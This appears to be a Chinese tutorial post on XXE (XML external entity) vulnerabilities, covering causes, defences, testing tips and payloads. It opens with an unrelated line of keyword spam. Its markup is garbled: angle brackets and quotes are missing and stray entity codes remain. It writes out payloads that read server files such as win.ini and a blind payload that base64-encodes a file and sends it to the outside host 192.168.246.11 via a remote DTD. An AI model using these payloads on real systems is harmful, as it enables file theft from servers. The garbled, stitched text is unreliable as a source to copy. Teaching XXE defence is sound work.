电影网站如何做采集,企业微信scrm,企业解决方案案例分析,市场营销实际案例xml是扩展性标记语言#xff0c;来标记数据、定义数据类型#xff0c;是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义#xff08;可选#xff09;、文档元素#xff0c;一般无法直接打开#xff0c;可以选择用excl或记事本打…xml是扩展性标记语言来标记数据、定义数据类型是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义可选、文档元素一般无法直接打开可以选择用excl或记事本打开。
语言示例?xml version”1.0” encodinggb2312 encoding”UTF-8”? //xml声明、版本、编码 xml是描述数据重点是---什么是数据如何存放数据。
html是显示数据重点是---显示数据一级如何显示数据更好 漏洞产生原因
1、危险函数loadxml
2、使用的php版本低libmxl低于2.9.1的版本都有可能有这些问题。如果libxml_disable_entity_loader设置成FALSE也会有漏洞 ?xml version 1.0? !DOCTYPE ANY [!ENTITY f SYSTEM file:///C://1.txt]xf;/x
?xml version”1.0” ? !DOCTYPE ANY [ !ENTITY f SYSTEM file:///C://1.txt ] xf;/x
?xml version”1.0” ? 是声明
!DOCTYPE ANY [ !ENTITY f SYSTEM file:///C://1.txt ]是DTD类型定义其中 ANY是文档类型to,from,heading,body这些都是文档类型
file:///C://1.txt 是调用的文件file后面可以换成其他的
SYSTEM这个是外部声明格式没有system是内部声明
xf;/x是文档元素f 是调用f实体 防御方法
升级php版本
重新修改代码
过滤关键词 !DOCTYPE、!ENTITY SYSTEM、PUBLIC 测试
白盒测试看特征loadxml
黑盒测试
1、抓包看响应体是否存在xml如果没有明显特征看响应体accept头是不是*/* 响应体如果是xml一般是有特征参考https://www.cnblogs.com/Open-ing/p/12061720.html
2、看看url文件名是否.ashx后缀的拓展名
3、把content-type里面的json改成xml DTD攻击---一般都是读文件
Document Type Definition 文档类型定义用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明)也可以独立的放在一个文件中(外部引用)由于其支持的数据类型有限无法对元素或属性的内容进行详细规范在可读性和可扩展性方面也比不上XML Schema
有DTD 内部声明DTD 外部声明引用公共 DTD
可以参考连接DTD 教程 payload结构 !DOCTYPE foo [!ELEMENT foo ANY !ENTITY xxe SYSTEM file:///C://2.txt] fooxxe;/foo XXE网站
!DOCTYPE foo [!ELEMENT foo ANY !ENTITY xxe baidu.com] fooxxe;/foo !DOCTYPE foo [!ELEMENT foo ANY !ENTITY xxe SYSTEM file:///C://2.txt] fooxxe;/foo 读服务器的文件win.inin
!DOCTYPE foo [!ELEMENT foo ANY
!ENTITY xxe SYSTEM file:///c:/windows/win.ini ]
fooxxe;/foo攻击
有回显:
直接看回显内容
!DOCTYPE foo [!ELEMENT foo ANY !ENTITY xxe SYSTEM file:///c:/windows/win.ini ] fooxxe;/foo 无回显
建立*.dtd 调用受害者的apache的log日志 返回到指定的服务器文件中
!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourcefile:///c:/2.txt !ENTITY % int !ENTITY #37; send SYSTEM http://192.168.246.11:80/?p%file; 调用xml读取内容
!DOCTYPE convert [ !ENTITY % remote SYSTEM http://192.168.246.11:80/xxe2/test.dtd %remote;%int;%send; ] 可以参考相关文件一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区